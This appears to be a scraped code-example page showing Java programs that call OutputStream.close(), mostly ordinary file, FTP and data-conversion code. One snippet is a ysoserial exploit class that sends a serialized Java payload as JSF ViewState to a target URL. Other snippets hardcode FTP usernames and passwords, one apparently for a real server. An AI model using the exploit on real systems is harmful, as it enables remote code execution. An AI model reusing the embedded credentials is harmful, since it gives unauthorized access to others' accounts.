Example usage for java.io OutputStream close

List of usage examples for java.io OutputStream close

Introduction

In this page you can find the example usage for java.io OutputStream close.

Prototype

public void close() throws IOException 

Source Link

Document

Closes this output stream and releases any system resources associated with this stream.

Usage

From source file:Main.java

public static void main(String[] args) {

    try {/*  w  w  w  .  j av  a 2s .c  o m*/
        // create a new OutputStreamWriter
        OutputStream os = new FileOutputStream("test.txt");
        OutputStreamWriter writer = new OutputStreamWriter(os);

        // create a new FileInputStream to read what we write
        FileInputStream in = new FileInputStream("test.txt");

        // write something in the file
        writer.write(70);

        // flush the stream
        writer.flush();
        // read what we write
        System.out.println((char) in.read());
        writer.close();
        os.close();

    } catch (Exception ex) {
        ex.printStackTrace();
    }
}

From source file:io.anserini.index.UserPostFrequencyDistribution.java

@SuppressWarnings("static-access")
public static void main(String[] args) throws Exception {
    Options options = new Options();

    options.addOption(new Option(HELP_OPTION, "show help"));

    options.addOption(new Option(STORE_TERM_VECTORS_OPTION, "store term vectors"));

    options.addOption(OptionBuilder.withArgName("collection").hasArg()
            .withDescription("source collection directory").create(COLLECTION_OPTION));
    options.addOption(OptionBuilder.withArgName("property").hasArg()
            .withDescription("source collection directory").create("property"));
    options.addOption(OptionBuilder.withArgName("collection_pattern").hasArg()
            .withDescription("source collection directory").create("collection_pattern"));

    CommandLine cmdline = null;//from   w w  w.j a v  a2s. co m
    CommandLineParser parser = new GnuParser();
    try {
        cmdline = parser.parse(options, args);
    } catch (ParseException exp) {
        System.err.println("Error parsing command line: " + exp.getMessage());
        System.exit(-1);
    }

    if (cmdline.hasOption(HELP_OPTION) || !cmdline.hasOption(COLLECTION_OPTION)) {
        HelpFormatter formatter = new HelpFormatter();
        formatter.printHelp(UserPostFrequencyDistribution.class.getName(), options);
        System.exit(-1);
    }

    String collectionPath = cmdline.getOptionValue(COLLECTION_OPTION);

    final FieldType textOptions = new FieldType();
    textOptions.setIndexOptions(IndexOptions.DOCS_AND_FREQS_AND_POSITIONS);
    textOptions.setStored(true);
    textOptions.setTokenized(true);
    textOptions.setStoreTermVectors(true);

    LOG.info("collection: " + collectionPath);
    LOG.info("collection_pattern " + cmdline.getOptionValue("collection_pattern"));
    LOG.info("property " + cmdline.getOptionValue("property"));
    LongOpenHashSet deletes = null;

    long startTime = System.currentTimeMillis();
    File file = new File(collectionPath);
    if (!file.exists()) {
        System.err.println("Error: " + file + " does not exist!");
        System.exit(-1);
    }

    final JsonStatusCorpusReader stream = new JsonStatusCorpusReader(file,
            cmdline.getOptionValue("collection_pattern"));

    Runtime.getRuntime().addShutdownHook(new Thread() {
        public void run() {

            try {

                stream.close();
            } catch (IOException e1) {
                // TODO Auto-generated catch block
                e1.printStackTrace();
            }
            ;

            System.out.println("# of users indexed this round: " + userIndexedCount);

            System.out.println("Shutting down");

        }
    });
    Status status;
    boolean readerNotInitialized = true;

    try {
        Properties prop = new Properties();
        while ((status = stream.next()) != null) {

            // try{
            // status = DataObjectFactory.createStatus(s);
            // if (status==null||status.getText() == null) {
            // continue;
            // }}catch(Exception e){
            //
            // }
            //

            boolean pittsburghRelated = false;
            try {

                if (Math.abs(status.getLongitude() - pittsburghLongitude) < 0.05d
                        && Math.abs(status.getlatitude() - pittsburghLatitude) < 0.05d)
                    pittsburghRelated = true;
            } catch (Exception e) {

            }
            try {
                if (status.getPlace().contains("Pittsburgh, PA"))
                    pittsburghRelated = true;
            } catch (Exception e) {

            }
            try {
                if (status.getUserLocation().contains("Pittsburgh, PA"))
                    pittsburghRelated = true;
            } catch (Exception e) {

            }

            try {
                if (status.getText().contains("Pittsburgh"))
                    pittsburghRelated = true;
            } catch (Exception e) {

            }

            if (pittsburghRelated) {

                int previousPostCount = 0;

                if (prop.containsKey(String.valueOf(status.getUserid()))) {
                    previousPostCount = Integer
                            .valueOf(prop.getProperty(String.valueOf(status.getUserid())).split(" ")[1]);
                }

                prop.setProperty(String.valueOf(status.getUserid()),
                        String.valueOf(status.getStatusesCount()) + " " + (1 + previousPostCount));
                if (prop.size() > 0 && prop.size() % 1000 == 0) {
                    Runtime runtime = Runtime.getRuntime();
                    runtime.gc();
                    System.out.println("Property size " + prop.size() + "Memory used:  "
                            + ((runtime.totalMemory() - runtime.freeMemory()) / (1024L * 1024L)) + " MB\n");
                }
                OutputStream output = new FileOutputStream(cmdline.getOptionValue("property"), false);
                prop.store(output, null);
                output.close();

            }
        }
        //         prop.store(output, null);
        LOG.info(String.format("Total of %s statuses added", userIndexedCount));
        LOG.info("Total elapsed time: " + (System.currentTimeMillis() - startTime) + "ms");
    } catch (Exception e) {
        e.printStackTrace();
    } finally {

        stream.close();
    }
}

From source file:Main.java

public static void main(String[] args) {

    try {//from  w  w w  .java  2  s.c om
        OutputStream os = new FileOutputStream("test.txt");
        OutputStreamWriter writer = new OutputStreamWriter(os);

        // create a new FileInputStream to read what we write
        FileInputStream in = new FileInputStream("test.txt");

        // write something in the file
        writer.write(70);

        // flush the stream
        writer.flush();

        // read what we write
        System.out.println((char) in.read());

        // close the stream
        writer.close();
        os.close();
    } catch (Exception ex) {
        ex.printStackTrace();
    }
}

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);//from   w w w. j a  v a  2 s. c  o  m
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

From source file:Main.java

public static void main(String[] args) {

    try {/*w w w.  ja  v  a2  s  .  c  o m*/
        OutputStream os = new FileOutputStream("test.txt");
        OutputStreamWriter writer = new OutputStreamWriter(os);

        // create a new FileInputStream to read what we write
        FileInputStream in = new FileInputStream("test.txt");

        // write something in the file
        writer.write(70);

        // flush the stream
        writer.flush();

        // get and print the encoding for this stream
        System.out.println(writer.getEncoding());

        // read what we write
        System.out.println((char) in.read());
        writer.close();
        os.close();

    } catch (Exception ex) {
        ex.printStackTrace();
    }
}

From source file:luisjosediez.Ejercicio2.java

/**
 * @param args the command line arguments
 *//*from ww  w  .j  av  a2s .  c om*/
public static void main(String[] args) {
    // TODO code application logic here
    System.out.println("Introduce la direccin de un servidor ftp: ");
    FTPClient cliente = new FTPClient();
    String servFTP = cadena();
    String clave = "";
    System.out.println("Introduce usuario (vaco para conexin annima): ");
    String usuario = cadena();
    String opcion;
    if (usuario.equals("")) {
        clave = "";
    } else {
        System.out.println("Introduce contrasea: ");
        clave = cadena();
    }
    try {
        cliente.setPassiveNatWorkaround(false);
        cliente.connect(servFTP, 21);
        boolean login = cliente.login(usuario, clave);
        if (login) {
            System.out.println("Conexin ok");
        } else {
            System.out.println("Login incorrecto");
            cliente.disconnect();
            System.exit(1);
        }
        do {

            System.out.println("Orden [exit para salir]: ");
            opcion = cadena();
            if (opcion.equals("ls")) {
                FTPFile[] files = cliente.listFiles();
                String tipos[] = { "Fichero", "Directorio", "Enlace" };
                for (int i = 0; i < files.length; i++) {
                    System.out.println("\t" + files[i].getName() + "\t=> " + tipos[files[i].getType()]);
                }
            } else if (opcion.startsWith("cd ")) {
                try {
                    cliente.changeWorkingDirectory(opcion.substring(3));
                } catch (IOException e) {
                }
            } else if (opcion.equals("help")) {
                System.out.println(
                        "Puede ejecutar los comandos 'exit', 'ls', 'cd', 'get' y 'upload'. Para ms detalles utilice 'help <comando>'.");
            } else if (opcion.startsWith("help ")) {
                if (opcion.endsWith(" get")) {
                    System.out.println(
                            "Permite descargar un archivo concreto. Uso: 'get <rutaArchivoADescargar>'.");
                } else if (opcion.endsWith(" ls")) {
                    System.out.println("Lista los ficheros y directorios en la ubicacin actual. Uso: 'ls'.");
                } else if (opcion.endsWith(" cd")) {
                    System.out.println("Permite cambiar la ubicacin actual. Uso: 'cd <rutaDestino>'.");
                } else if (opcion.endsWith(" put")) {
                    System.out.println(
                            "Permite subir un archivo al directorio actual. Uso: 'put <rutaArchivoASubir>'.");
                }
            } else if (opcion.startsWith("get ")) {
                try {
                    System.out.println("Indique la carpeta de descarga: ");
                    try (FileOutputStream fos = new FileOutputStream(cadena() + opcion.substring(4))) {
                        cliente.retrieveFile(opcion.substring(4), fos);
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                } catch (Exception e) {
                }
            } else if (opcion.startsWith("put ")) {
                try {
                    try {

                        System.out.println(opcion.substring(4));

                        File local = new File(opcion.substring(4));

                        System.out.println(local.getName());

                        InputStream is = new FileInputStream(opcion.substring(4));

                        OutputStream os = cliente.storeFileStream(local.getName());

                        byte[] bytesIn = new byte[4096];

                        int read = 0;

                        while ((read = is.read(bytesIn)) != -1) {

                            os.write(bytesIn, 0, read);

                        }

                        is.close();
                        os.close();

                        boolean completed = cliente.completePendingCommand();

                        if (completed) {
                            System.out.println("The file is uploaded successfully.");
                        }

                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                } catch (Exception e) {
                }
            }

        } while (!(opcion.equals("exit")));

        boolean logout = cliente.logout();
        if (logout)
            System.out.println("Logout...");
        else
            System.out.println("Logout incorrecto");

        cliente.disconnect();

    } catch (Exception e) {
        e.printStackTrace();
    }
}

From source file:cn.zhuqi.mavenssh.web.util.FTPClientTemplate.java

public static void main(String[] args) throws Exception, InterruptedException {
    FTPClientTemplate ftp = new FTPClientTemplate();
    ftp.setHost("192.168.0.111");
    ftp.setPort(21);/*from   w ww  . j  av a 2s.c  om*/
    ftp.setUsername("zl123456");
    ftp.setPassword("p123456");
    ftp.setBinaryTransfer(true);
    ftp.setPassiveMode(false);
    ftp.setEncoding("utf-8");

    //boolean ret = ftp.put("/group/tbdev/query/user-upload/12345678910.txt", "D:/099_temp/query/12345.txt");
    //System.out.println(ret);
    OutputStream output = null;
    output = new FileOutputStream("C:/1.jpg");
    ftp.get("Chrysanthemum.jpg", output);
    output.close();

    ftp.put("222.jpg", "C:/1.jpg");
    ftp.mkdir("data");
    ftp.mkdir("111", "data");
    //ftp.disconnect();
    //ftp.mkdir("user-upload1");
    //ftp.disconnect();
    //String[] aa = {"/group/tbdev/query/user-upload/123.txt", "/group/tbdev/query/user-upload/SMTrace.txt"};
    //ftp.delete(aa);
}

From source file:airnowgrib2tojson.AirNowGRIB2toJSON.java

/**
 * @param args the command line arguments
 *///ww w.  ja v a 2s . c om
public static void main(String[] args) {

    SimpleDateFormat GMT = new SimpleDateFormat("yyMMddHH");
    GMT.setTimeZone(TimeZone.getTimeZone("GMT-2"));

    System.out.println(GMT.format(new Date()));

    FTPClient ftpClient = new FTPClient();
    FileOutputStream fos = null;

    try {
        //Connecting to AirNow FTP server to get the fresh AQI data  
        ftpClient.connect("ftp.airnowapi.org");
        ftpClient.login("pixelshade", "GZDN8uqduwvk");
        ftpClient.enterLocalPassiveMode();
        ftpClient.setFileType(FTP.BINARY_FILE_TYPE);

        //downloading .grib2 file
        File of = new File("US-" + GMT.format(new Date()) + "_combined.grib2");
        OutputStream outstr = new BufferedOutputStream(new FileOutputStream(of));
        InputStream instr = ftpClient
                .retrieveFileStream("GRIB2/US-" + GMT.format(new Date()) + "_combined.grib2");
        byte[] bytesArray = new byte[4096];
        int bytesRead = -1;
        while ((bytesRead = instr.read(bytesArray)) != -1) {
            outstr.write(bytesArray, 0, bytesRead);
        }

        //Close used resources
        ftpClient.completePendingCommand();
        outstr.close();
        instr.close();

        // logout the user 
        ftpClient.logout();

    } catch (SocketException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    } finally {
        try {
            //disconnect from AirNow server
            ftpClient.disconnect();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    try {
        //Open .grib2 file
        final File AQIfile = new File("US-" + GMT.format(new Date()) + "_combined.grib2");
        final GridDataset gridDS = GridDataset.open(AQIfile.getAbsolutePath());

        //The data type needed - AQI; since it isn't defined in GRIB2 standard,
        //Aerosol type is used instead; look AirNow API documentation for details.
        GridDatatype AQI = gridDS.findGridDatatype("Aerosol_type_msl");

        //Get the coordinate system for selected data type;
        //cut the rectangle to work with - time and height axes aren't present in these files
        //and latitude/longitude go "-1", which means all the data provided.
        GridCoordSystem AQIGCS = AQI.getCoordinateSystem();
        List<CoordinateAxis> AQI_XY = AQIGCS.getCoordinateAxes();
        Array AQIslice = AQI.readDataSlice(0, 0, -1, -1);

        //Variables for iterating through coordinates
        VariableDS var = AQI.getVariable();
        Index index = AQIslice.getIndex();

        //Variables for counting lat/long from the indices provided
        double stepX = (AQI_XY.get(2).getMaxValue() - AQI_XY.get(2).getMinValue()) / index.getShape(1);
        double stepY = (AQI_XY.get(1).getMaxValue() - AQI_XY.get(1).getMinValue()) / index.getShape(0);
        double curX = AQI_XY.get(2).getMinValue();
        double curY = AQI_XY.get(1).getMinValue();

        //Output details
        OutputStream ValLog = new FileOutputStream("USA_AQI.json");
        Writer ValWriter = new OutputStreamWriter(ValLog);

        for (int j = 0; j < index.getShape(0); j++) {
            for (int i = 0; i < index.getShape(1); i++) {
                float val = AQIslice.getFloat(index.set(j, i));

                //Write the AQI value and its coordinates if it's present by i/j indices
                if (!Float.isNaN(val))
                    ValWriter.write("{\r\n\"lat\":" + curX + ",\r\n\"lng\":" + curY + ",\r\n\"AQI\":" + val
                            + ",\r\n},\r\n");

                curX += stepX;
            }
            curY += stepY;
            curX = AQI_XY.get(2).getMinValue();
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

From source file:com.linkedin.databus2.core.schema.tools.AvroConvertMain.java

/**
 * @param args/*  w w w . j ava2  s.  co  m*/
 */
public static void main(String[] args) throws Exception {

    ConsoleAppender app = new ConsoleAppender(new SimpleLayout());
    Logger.getRootLogger().removeAllAppenders();
    Logger.getRootLogger().addAppender(app);

    AvroConvertCli cli = new AvroConvertCli();

    try {
        cli.parseCommandLine(args);
    } catch (ParseException pe) {
        System.err.println(pe.getMessage());
        cli.printUsage();
        System.exit(1);
    }

    if (!cli.hasOptions() || cli.hasHelpOption()) {
        cli.printUsage();
        System.exit(0);
    }

    int verbosity = cli.getVerbosity();
    switch (verbosity) {
    case 0:
        Logger.getRootLogger().setLevel(Level.ERROR);
        break;
    case 1:
        Logger.getRootLogger().setLevel(Level.INFO);
        break;
    case 2:
        Logger.getRootLogger().setLevel(Level.DEBUG);
        break;
    default:
        Logger.getRootLogger().setLevel(Level.ALL);
        break;
    }

    AvroFormat inputFormat = cli.getInputFormat(AvroFormat.JSON);
    LOG.info("Using input format: " + inputFormat);

    AvroFormat outputFormat = cli.getOutputFormat(AvroFormat.JSON);
    LOG.info("Using output format: " + outputFormat);

    String inputSchemaName = cli.getInputSchema(null);
    if (null == inputSchemaName) {
        System.err.println("Input schema expected");
        cli.printUsage();
        System.exit(4);
    }

    Schema inputSchema = null;
    try {
        inputSchema = openSchema(inputSchemaName);
    } catch (IOException ioe) {
        System.err.println("Unable to open input schema: " + ioe);
        System.exit(2);
    }
    LOG.info("Using input schema:" + inputSchemaName);

    String outputSchemaName = cli.getOutputSchema(inputSchemaName);
    Schema outputSchema = null;
    try {
        outputSchema = outputSchemaName.equals(inputSchemaName) ? inputSchema : openSchema(outputSchemaName);
    } catch (IOException ioe) {
        System.err.println("Unable to open output schema: " + ioe);
        System.exit(3);
    }
    LOG.info("Using output schema:" + outputSchemaName);

    String inputFileName = cli.getInputFileName("-");
    InputStream input = inputFileName.equals("-") ? System.in : new FileInputStream(inputFileName);
    LOG.info("Using input: " + inputFileName);

    String outputFileName = cli.getOutputFileName("-");
    OutputStream output = outputFileName.equals("-") ? System.out : new FileOutputStream(outputFileName);
    LOG.info("Using output: " + outputFileName);

    AvroConverter avroConverter = new AvroConverter(inputFormat, outputFormat, inputSchema, outputSchema);
    avroConverter.convert(input, output);
    if (!inputFileName.equals("-"))
        input.close();
    if (!outputFileName.equals("-"))
        output.close();
}

From source file:Main.java

public static void main(String[] args) throws Exception {
    InputStream is = new BufferedInputStream(new FileInputStream("filename.gif"));

    OutputStream fos = new BufferedOutputStream(new FileOutputStream("filename.ps"));

    DocFlavor flavor = DocFlavor.INPUT_STREAM.GIF;
    StreamPrintServiceFactory[] factories = StreamPrintServiceFactory.lookupStreamPrintServiceFactories(flavor,
            DocFlavor.BYTE_ARRAY.POSTSCRIPT.getMimeType());

    if (factories.length > 0) {
        StreamPrintService service = factories[0].getPrintService(fos);
        DocPrintJob job = service.createPrintJob();
        Doc doc = new SimpleDoc(is, flavor, null);

        PrintJobWatcher pjDone = new PrintJobWatcher(job);

        job.print(doc, null);/*from w  w w .j a  va  2 s.c  o  m*/

        pjDone.waitForDone();
    }

    is.close();
    fos.close();
}